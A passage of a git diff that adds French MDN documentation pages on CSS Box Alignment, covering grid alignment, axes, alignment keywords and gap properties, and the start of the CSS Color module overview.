+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">L'alignement avec <em>Flexbox</em></a></li>
+</ul>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Anti-sèche pour l'alignement des boîtes (en anglais)</a></li>
+ <li><a href="https://www.smashingmagazine.com/2016/11/css-grids-flexbox-box-alignment-new-layout-standard/">Alignement pour les grilles, les boîtes flexibles et les boîtes (en anglais)</a></li>
+ <li><a href="https://blogs.igalia.com/jfernandez/2017/05/03/can-i-use-css-box-alignment/">Quelques pensées sur les implémentations partielles de <em>Box Alignment</em> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_grille/index.html b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_grille/index.html
new file mode 100644
index 0000000000..4adf375ac4
--- /dev/null
+++ b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_grille/index.html
@@ -0,0 +1,119 @@
+---
+title: L'alignement des boîtes avec une grille CSS
+slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille
+tags:
+  - CSS
+  - CSS Grid
+  - Grilles CSS
+  - Guide
+translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em> détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">les grilles CSS</a>. Cette page détaille les aspects spécifiques relatifs à l'alignement et aux grilles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">la page principale sur cette spécification</a>.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>Dans l'exemple qui suit, on utilise une disposition en grille et le conteneur possède un espace restant après avoir disposé les pistes à largeur fixe le long de l'axe en ligne. L'espace restant est distribué grâce à la propriété <code>justify-content</code>. Le long de l'axe secondaire, les éléments sont alignés au sein de leurs zones avec la propriété <code>align-items</code>. Le premier objet surcharge la valeur fournie par <code>align-items</code> en utilisant <code>align-self</code> avec la valeur <code>center</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p>
+
+<h2 id="Axes_de_la_grille">Axes de la grille</h2>
+
+<p>La grille est une méthode de disposition sur deux dimensions.</p>
+
+<p>L'axe en ligne correspond à l'axe selon lequel les mots d'une phrase sont écrits pour le mode d'écriture utilisé. Ainsi, pour une langue écrite horizontalement (comme le français ou l'arabe), l'axe en ligne sera horizontal. Pour les modes d'écriture verticaux, cet axe sera vertica.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15962/Inline_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p>Pour aligner des éléments selon l'axe en ligne, on utilisera les propriétés commençant par <code>justify-</code> : {{cssxref("justify-content")}}, {{cssxref("justify-items")}} et {{cssxref("justify-self")}}.</p>
+
+<p>L'axe de bloc est orthogonal à l'axe en ligne et évolue dans le sens où les blocs sont affichés sur la page (en français, par exemple, les blocs sont disposés de bas en haut).</p>
+
+<p>Pour aligner des éléments sur l'axe de bloc, on utilisera les propriétés commençant par <code>align-</code> : {{cssxref("align-content")}}, {{cssxref("align-items")}} et {{cssxref("align-self")}}.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15961/Block_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<h2 id="Alignement_individuel">Alignement individuel</h2>
+
+<ul>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-self")}}</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+</ul>
+
+<p>Ces propriétés permettent d'aligner individuellement chacun des éléments au sein de leur zone de grille. Les propriétés <code>align-items</code> et <code>justify-items</code> sont appliquées au conteneur de grille et définissent <code>align-self</code> et <code>justify-self</code> pour l'ensemble des sujets d'alignement. Cela signifie qu'on peut indiquer un alignement global au niveau du conteneur puis surcharger cette règle au cas par cas si besoin en utilisant <code>align-self</code> ou <code>justify-self</code> sur les éléments souhaités.</p>
+
+<p>Les valeurs initiales pour <code>align-self</code> et <code>justify-self</code> sont <code>stretch</code>. Aussi, l'objet sera étiré sur toute la zone de grille qui lui est dédié. Une exception est apportée à cette règle lorsque l'élément possède des proportions intrinsèques (une image par exemple) ; dans ce cas, l'élément est aligné avec <code>start</code>sur les deux axes et l'élément n'est pas déformé.</p>
+
+<h2 id="Alignement_du_contenu">Alignement du contenu</h2>
+
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+</ul>
+
+<p>Ces propriétés indiquent comment aligner les pistes de la grille lorsqu'il reste de l'espace à répartir. Ce scénario se produit uniquement si la somme des tailles des pistes est inférieure à la taille du conteneur de grille.</p>
+
+<h2 id="Gouttières_et_versions_préfixées_des_propriétés">Gouttières et versions préfixées des propriétés</h2>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+
+<p>La spécification sur les grilles contenaient initialement les définitions des propriétés {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}} et {{cssxref("grid-gap")}}. Les définitions de ces propriétés ont depuis été déplacées dans le module de spécification <em>Box Alignment</em> et ont respectivement été renommées en {{cssxref("row-gap")}}, {{cssxref("column-gap")}} et {{cssxref("gap")}}. Ainsi, elles peuvent être utilisées pour d'autres méthodes de disposition où les gouttières sont pertinentes.</p>
+
+<p>À l'heure actuelle (juin 2018), seul Microsoft Edge prend en charge les versions non-préfixées pour ces propriétés. Il vaut donc mieux utiliser les deux versions (avec puis sans préfixe <code>grid-</code>) afin d'assurer une meilleure compatibilité.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}t</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-self")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossaire/Axe_transversal">Axe secondaire</a></li>
+ <li><a href="/fr/docs/Glossaire/Axe_principal">Axe principal</a></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner les boîtes dans une disposition en grille</a></li>
+</ul>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Anti-sèche pour l'alignement des boîtes (en anglais)</a></li>
+ <li><a href="https://www.smashingmagazine.com/2016/11/css-grids-flexbox-box-alignment-new-layout-standard/">Alignement pour les grilles, les boîtes flexibles et les boîtes (en anglais)</a></li>
+ <li><a href="https://blogs.igalia.com/jfernandez/2017/05/03/can-i-use-css-box-alignment/">Quelques pensées sur les implémentations partielles de <em>Box Alignment</em> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_box_alignment/index.html b/files/fr/web/css/css_box_alignment/index.html
new file mode 100644
index 0000000000..e0787aca03
--- /dev/null
+++ b/files/fr/web/css/css_box_alignment/index.html
@@ -0,0 +1,249 @@
+---
+title: CSS Box Alignment
+slug: Web/CSS/CSS_Box_Alignment
+tags:
+  - Alignement
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Box_Alignment
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module de spécification <em>CSS Box Alignment</em> (alignement des boîtes en CSS) décrit les fonctionnalités relatives à l'alignement des boîtes pour les différents modes de disposition CSS : disposition en bloc, en tableau, disposition flexible et disposition en grille. L'objectif de ce module est d'obtenir des méthodes d'alignement cohérentes pour tout CSS. Dans ce guide, nous verrons les différents concepts utilisés par cette spécification.</p>
+
+<div class="note">
+<p><strong>Note : </strong>La documentation relative à chaque méthode de disposition explicitera comment le module d'alignement est appliqué pour cette méthode.</p>
+</div>
+
+<h2 id="Anciennes_méthodes_d'alignement">Anciennes méthodes d'alignement</h2>
+
+<p>Par le passé, CSS disposait de peu d'outils pour l'alignement. Le texte pouvait être aligné grâce à {{cssxref("text-align")}}, les blocs pouvaient être centrés avec des marges ({{cssxref("margin")}}) automatique et les tableaux ou éléments en affichage <em>inline-block</em> pouvaient tirer parti de {{cssxref("vertical-align")}}. Désormais, l'alignement du texte est couvert par les modules <a href="https://www.w3.org/TR/css-inline-3/">Inline Layout</a> et <a href="https://www.w3.org/TR/css-text-3/">CSS Text</a> et, pour la première fois, avec le module <em>Box Alignment</em>, on dispose d'outils complets pour l'alignement vertical et horizontal.</p>
+
+<p>Si vous connaissez déjà <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS">les boîtes flexibles (<em>flexbox</em>)</a>, vous reconnaitrez certaines propriétés faisant partie de la spécification de niveau 1 pour Flexbox. Toutefois, la spécification indique que la spécification <em>Box Alignment</em> est prioritaire car elle peut décrire certaines fonctionnalités supplémentaires.</p>
+
+<h2 id="Exemples_simples">Exemples simples</h2>
+
+<p>Dans les exemples suivants, nous allons voir comment certaines des propriétés d'alignement peuvent être appliquées sur des dispositions <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">en grille</a> ou utilisant <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS">les boîtes flexibles</a>.</p>
+
+<h3 id="Alignement_pour_une_disposition_en_grille">Alignement pour une disposition en grille</h3>
+
+<p>Dans cet exemple avec une grille, on dispose d'un espace restant dans le conteneur après avoir placé les pistes de largeur fixe le long de l'axe en ligne (l'axe principal). L'espace est réparti grâce à la propriété {{cssxref("justify-content")}}. Sur l'axe de bloc (l'axe secondaire), l'alignement des éléments sur la grille est dicté par {{cssxref("align-items")}}. Le premier objet surcharge la règle fournie par <code>align-items</code> en utilisant {{cssxref("align-self")}} avec la valeur <code>center</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p>
+
+<h3 id="Alignement_pour_une_disposition_flexible_(flexbox)">Alignement pour une disposition flexible (<em>flexbox</em>)</h3>
+
+<p>Dans cet exemple, trois objets flexibles sont alignés le long de l'axe principal avec <code>justify-content</code> et selon l'axe secondaire avec <code>align-items</code>. Le premier objet surcharge la règle indiquée avec <code>align-items</code> grâce à la propriété <code>align-self</code> qui vaut ici <code>center</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}</p>
+
+<h2 id="Concepts_majeurs_et_terminologie">Concepts majeurs et terminologie</h2>
+
+<p>Ce module de spécification définit des termes relatifs à l'alignement afin de pouvoir se référer à ces concepts sans qu'ils soient particulièrement liés à l'implémentation particulière d'un mode de disposition. Ces concepts sont communs à l'ensemble des méthodes de disposition.</p>
+
+<h3 id="Liens_avec_les_modes_d'écriture">Liens avec les modes d'écriture</h3>
+
+<p>L'alignement est lié aux modes d'écriture et, lorsqu'on aligne un élément, on ne l'aligne pas selon des axes « physiques » (haut, droit, bas, gauche) mais selon le début ou la fin des dimensions utilisées par ce mode d'écriture. Cela permet de s'assurer que l'alignement fonctionne de la même façon, quel que soit le mode d'écriture utilisé par le document.</p>
+
+<h3 id="Deux_dimensions_pour_l'alignement">Deux dimensions pour l'alignement</h3>
+
+<p>Lorsqu'on utilise les propriétés d'alignement, on aligne le contenu selon deux axes : l'axe en ligne (<em>inline axis</em>) et l'axe de bloc (<em>block axis</em>). L'axe en ligne correspond à l'axe selon lequel les mots sont écrits pour ce mode d'écriture. En français, par exemple, l'axe en ligne est un axe horizontal dirigé de la gauche vers la droite. L'axe de bloc est orthogonal à l'axe en ligne et suit la direction selon laquelle les blocs de texte sont disposés les uns à la suite des autres.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15952/two-axes.png"></p>
+
+<p>Lorsqu'on aligne des objets le long de l'axe en ligne, on utilisera les propriétés qui commencent par <code>justify-</code>:</p>
+
+<ul>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+
+<p>Lorsqu'on aligne des objets le long de l'axe de bloc, on utilisera les propriétés qui commencent par <code>align-</code>:</p>
+
+<ul>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+</ul>
+
+<p>Flexbox ajoute un niveau de complexité car si {{cssxref("flex-direction")}} vaut <code>row</code>, ces règles sont vraies mais si <code>flex-direction</code> vaut <code>column</code>, elles sont inversées. Toutefois, lorsqu'on travaille avec les boîtes flexibles, il est préférable de penser en termes d'axe principal et d'axe secondaire plutôt qu'en termes d'axe en ligne et d'axe de bloc. Les propriétés <code>justify-</code> permettent toujours d'aligner selon l'axe principal et les propriétés <code>align-</code> d'aligner selon l'axe secondaire.</p>
+
+<h3 id="Le_sujet_de_l'alignement_(alignment_subject)">Le sujet de l'alignement (<em>alignment subject</em>)</h3>
+
+<p>Le <strong>sujet de l'alignement</strong> est l'objet qu'on aligne. Pour <code>justify-self</code> ou <code>align-self</code>, ou lorsqu'on paramètre ces valeurs pour un group avec <code>justify-items</code> ou <code>align-items</code>, cela correspondra à la boîte de marge de l'élément sur lequel la propriété est appliqué. Les propriétés <code>justify-content</code> et <code>align-content</code> varient selon la méthode de disposition utilisée.</p>
+
+<h3 id="Le_conteneur_d'alignement_(alignment_container)">Le conteneur d'alignement (<em>alignment container</em>)</h3>
+
+<p>Le <strong>conteneur d'alignement</strong> est la boîte au sein de laquelle le sujet est aligné. Il s'agit généralement du bloc englobant du sujet de l'alignement. Un conteneur d'alignement peut contenir un ou plusieurs sujets.</p>
+
+<p>Dans l'image qui suit, on voit un conteneur d'alignement qui contient deux sujets.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15953/align-container-subjects.png" style="height: 170px; width: 248px;"></p>
+
+<h3 id="L'alignement_de_recours_(fallback)">L'alignement de recours (<em>fallback</em>)</h3>
+
+<p>Si l'alignement défini ne peut pas être respecté, on utilisera un alignement de recours (<em>fallback alignment</em>) qui déterminera comment gérer l'espace disponible. L'alignement de recours est défini spécifiquement pour chaque méthode de disposition.</p>
+
+<h2 id="Types_d'alignement">Types d'alignement</h2>
+
+<p>Il existe trois types d'alignement définis par la spécification et qui fonctionnent avec des mots-clés.</p>
+
+<ul>
+ <li><strong>Alignement en position </strong>: la position du sujet est définie relativement à celle du conteneur.</li>
+ <li><strong>Alignement selon la ligne de base </strong>: ces mots-clés définissent l'alignement comme une relation entre les lignes de base des sujets au sein d'un contexte d'alignement.</li>
+ <li><strong>Alignement distribué </strong>: ces mots-clés définissent l'alignement comme une distribution de l'espace entre les sujets.</li>
+</ul>
+
+<h3 id="Alignement_en_position_avec_des_mots-clés">Alignement en position avec des mots-clés</h3>
+
+<p>Les valeurs suivantes permettent de réaliser un alignement en position et peuvent être utilisées comme valeurs pour <code>justify-content</code>, <code>align-content</code> ainsi que pour <code>justify-self</code> et <code>align-self</code>.</p>
+
+<ul>
+ <li><code>center</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>self-start</code></li>
+ <li><code>self-end</code></li>
+ <li><code>flex-start</code> (uniquement pour les boîtes flexibles)</li>
+ <li><code>flex-end</code> (uniquement pour les boîtes flexibles)</li>
+ <li><code>left</code></li>
+ <li><code>right</code></li>
+</ul>
+
+<p>En dehors des valeurs <em>physiques</em> <code>left</code> et <code>right</code> qui sont relatives à la disposition physique de l'écran, les autres valeurs sont des valeurs <em>logiques</em> qui font référence au mode d'écriture du contenu.</p>
+
+<p>Si on prendre l'exemple d'une disposition en grille : en français, utiliser <code>justify-content</code> avec <code>start</code> déplacera les éléments sur l'axe en ligne au début, ce qui correspondra, dans ce cas, à la gauche. Si on utilise cette même règle avec un document écrit en arabe, qui s'écrit de droite à gauche, la valeur <code>start</code> regroupera les éléments sur le côté droit de la page.</p>
+
+<p>On voit ici que ces deux exemples utilisent <code>justify-content: start</code> mais que l'emplacement des sujets varie selon le mode d'écriture.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15956/writing-mode-start.png" style="height: 101px; width: 478px;"></p>
+
+<h3 id="Alignement_selon_la_ligne_de_base">Alignement selon la ligne de base</h3>
+
+<p>Les mots-clés pour l'alignement sur les lignes de bases permettent d'aligner les lignes de bases des boîtes parmi un groupe de sujets. Ces valeurs peuvent être utilisées avec <code>justify-content</code>, <code>align-content</code> ou avec <code>justify-self</code> et <code>align-self</code>.</p>
+
+<ul>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>L'alignement du contenu selon la ligne de base (c'est-à-dire avec <code>justify-content</code> ou <code>align-content</code>) fonctionne pour les méthodes de disposition qui organisent les objets en lignes. Les sujets sont alignés sur une ligne de base commune en ajoutant du remplissage (<em>padding</em>) à l'intérieur de chaque boîte si nécessaire.</p>
+
+<p>L'alignement des éléments (<em>self alignment</em>) (c'est-à-dire avec <code>justify-self</code> ou <code>align-self</code> pour des sujets distincts ou avec <code>justify-items</code> et <code>align-items</code> pour des groupes) décale les boîtes afin de les aligner sur une ligne de base en ajoutant une marge à l'extérieur des boîtes.</p>
+
+<h3 id="Alignement_distribué">Alignement distribué</h3>
+
+<p>Les mots-clés permettant de décrire un <strong>alignement distribué</strong> sont utilisés avec les propriétés <code>align-content</code> et <code>justify-content</code>. Ces mots-clés définissent ce qui se produit lorsqu'il reste de l'espace après que les sujets aient été affichés. Les valeurs correspondantes sont :</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>Ainsi, si des objets flexibles sont alignés avec <code>flex-start</code> et qu'on travaille dans un mode d'écriture horizontal de gauche à droite et de haut en bas (comme le français) avec <code>flex-direction</code> qui vaut <code>row</code>, les sujets commenceront à gauche et l'espace disponible sera affiché à droite après que les sujets aient été placés.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15954/justify-content-start.png" style="height: 100px; width: 559px;"></p>
+
+<p>Si on utilise <code>justify-content: space-between</code> sur le conteneur flexible, l'espace disponible sera alors réparti entre les objets.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15955/justify-content-space-between.png" style="height: 100px; width: 559px;"></p>
+
+<p>Pour que ces mots-clés aient un effet, il est nécessaire qu'il reste de l'espace supplémentaire. S'il n'y a plus d'espace, aucune distribution ne pourra être effectuée.</p>
+
+<h2 id="Gestion_du_dépassement">Gestion du dépassement</h2>
+
+<p>Les mots-clés <code>safe</code> et <code>unsafe</code> permettent de définir le comportement obtenu lorsque le sujet d'alignement est plus grand que le conteneur. Le mot-clé <code>safe</code> alignera selon <code>start</code> si l'alignement indiqué provoque un dépassement, afin de réduire la « perte de données » visible en dehors du conteneur et sur laquelle l'utilisateur ne pourra pas avoir accès.</p>
+
+<p>La valeur <code>unsafe</code> permet de respecter l'alignement indiqué, même si celui-ci provoque un dépassement entraînant une telle perte de données.</p>
+
+<h2 id="Espaces_entre_les_boîtes">Espaces entre les boîtes</h2>
+
+<p>La spécification pour l'alignement des boîtes inclut également les propriétés <code>gap</code>, <code>row-gap</code> et <code>column-gap</code>. Ces propriétés permettent d'obtenir un espacement cohérents entre les objets d'une ligne ou d'une colonne pour tout mode de disposition organisant les objets de cette façon.</p>
+
+<p>La propriété <code>gap</code> est une propriété raccourcie pour <code>row-gap</code> et <code>column-gap</code> et qui permet de définir ces deux propriétés en une seule règle.</p>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+
+<p>Dans l'exemple suivant, on a une disposition en grille et on utilise la propriété raccourcie <code>gap</code> afin de définir un espace de <code>10px</code> entre chaque piste de ligne et un espace de <code>2em</code> entre chaque piste de colonne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}</p>
+
+<p>Dans cet exemple, on utilise la propriété {{cssxref("grid-gap")}} en plus de la propriété {{cssxref("gap")}}. Les propriétés d'espacement, initialement définies pour la disposition en grille, étaient préfixées par <code>grid-</code> et certains navigateurs ne prennent encore en charge que ces versions préfixées :</p>
+
+<ul>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+
+<p>Ces versions préfixées seront maintenues comme des alias des propriétés non-préfixées. Toutefois, il est toujours possible de les dédoubler comme on le fait avec les propriétés préfixées des différents éditeurs : déclarer la propriété <code>grid-gap</code> puis <code>gap</code> avec la même valeur.</p>
+
+<p>Attention, d'autres éléments peuvent rentrer en jeu et ajouter de l'espace (les mots-clés de distribution ou les marges sur les éléments par exemple).</p>
+
+<h2 id="Pages_associées_à_chaque_propriété_d'alignement">Pages associées à chaque propriété d'alignement</h2>
+
+<p>Les propriétés d'alignement des boîtes CSS sont implémentées différemment selon le mode de disposition utilisé. Vous pouvez vous référer aux pages suivantes afin de connaître les détails de ces différences :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">L'alignement des boîtes avec Flexbox</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">L'alignement des boîtes avec les grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Multi-column_Layout">L'alignement des boîtes avec une disposition en colonne</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables">L'alignement des boîtes pour les dispositions en bloc, les dispositions absolues et en tableau</a></li>
+</ul>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-self")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossaire/Axe_transversal">Axe secondaire</a></li>
+ <li><a href="/fr/docs/Glossaire/Axe_principal">Axe principal</a></li>
+ <li><a href="/fr/docs/Glossary/Alignment_Container">Conteneur d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Alignment_Subject">Sujet d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Fallback_Alignment">Alignement de recours</a></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li>Guide CSS sur Flexbox : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de base de Flexbox</a></em></li>
+ <li>Guide CSS sur Flexbox : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner les éléments d'un conteneur flexible</a></em></li>
+ <li>Guide CSS sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner les boîtes dans une disposition en grille</a></em></li>
+</ul>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Anti-sèche pour l'alignement des boîtes (en anglais)</a></li>
+ <li><a href="https://www.smashingmagazine.com/2016/11/css-grids-flexbox-box-alignment-new-layout-standard/">Alignement pour les grilles, les boîtes flexibles et les boîtes (en anglais)</a></li>
+ <li><a href="https://blogs.igalia.com/jfernandez/2017/05/03/can-i-use-css-box-alignment/">Quelques pensées sur les implémentations partielles de <em>Box Alignment</em> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_color/index.html b/files/fr/web/css/css_color/index.html
new file mode 100644
index 0000000000..1ac8eca152
--- /dev/null
+++ b/files/fr/web/css/css_color/index.html
@@ -0,0 +1,121 @@
+---
+title: CSS Color
+slug: Web/CSS/CSS_Color
+tags:
+  - Aperçu
+  - CSS
+  - CSS Colors
+  - Couleurs
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Color</strong></em> est un module des spécifications CSS qui décrit la gestion des couleurs, les types de donnée associés, la fusion des couleurs et la gestion de l'opacitié. Ce module ne contient pas l'ensemble des propriétés CSS qui prennent une valeur de type {{cssxref("&lt;color&gt;")}}, toutefois, ces propriétés dépendent des notions et règles définies dans cette spécification.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("color-adjust")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_données">Types de données</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML/Appliquer_des_couleurs">Appliquer des couleurs à des éléments HTML grâce à CSS</a></dt>
+ <dd>Un guide décrivant comment utiliser CSS pour colorer différents types de contenu. Cet article couvre l'ensemble des propriétés CSS ayant trait aux couleurs.</dd>
+</dl>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs">Sélecteur de couleurs</a></dt>
+ <dd>Cet outil permet de créer, ajuster et tester des couleurs sur mesure.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="color_property"><code>color</code> property</h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h3 id="color-adjust_property"><code>color-adjust</code> property</h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.color-adjust")}}</p>
+
+<h3 id="opacity_property"><code>opacity</code> property</h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.opacity")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Des propriétés liées aux couleurs mais qui font partie d'autres spécifications :
+  <ul>
+   <li>{{cssxref("background-color")}},</li>
+   <li>{{cssxref("border-color")}},</li>
